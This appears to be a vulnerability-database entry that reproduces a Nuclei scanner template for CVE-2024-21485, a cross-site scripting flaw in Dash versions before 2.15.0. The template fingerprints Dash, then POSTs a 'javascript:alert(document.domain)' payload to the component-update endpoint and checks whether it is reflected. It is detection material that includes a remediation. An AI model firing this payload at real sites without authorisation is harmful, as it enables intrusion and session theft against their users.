CVE-2024-21485: Dash Framework - Cross-site Scripting

日期: 2025-08-01 | 影响软件: Dash Framework | POC: 已公开

漏洞描述

Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection.

PoC代码[已公开]

id: CVE-2024-21485

info:
  name: Dash Framework - Cross-site Scripting
  author: Lee Changhyun(eeche)
  severity: medium
  description: |
    Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21485
  impact: |
    Data theft from users who access the compromised view and Access token stealing allowing attacker to impersonate users
  remediation: |
    Upgrade to dash version 2.15.0 or later
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-21485
    cwe-id: CWE-79
    epss-score: 0.0044
    epss-percentile: 0.62398
    cpe: cpe:2.3:a:plotly:dash:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
  tags: cve,cve2024,dash,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "dash-core-components"
          - "_dash-component-suites"
        condition: or
        internal: true

  - raw:
      - |
        POST /_dash-update-component HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"output":"link-output.children","inputs":[{"id":"link-input","property":"value","value":"javascript:alert(document.domain)"}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "props"
          - "children"
          - "type"
          - "javascript:alert(document.domain)"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a0046304402202c001e6e5da71349eac8d554430ae21f2d6212eac7566d2c5eb8a3c9eca0b1bf022075385593c31382f30ed8c6122b843e6b70293fe50aff6518c3f4c263bd459d89:922c64590222798bb761d5b6d8e72950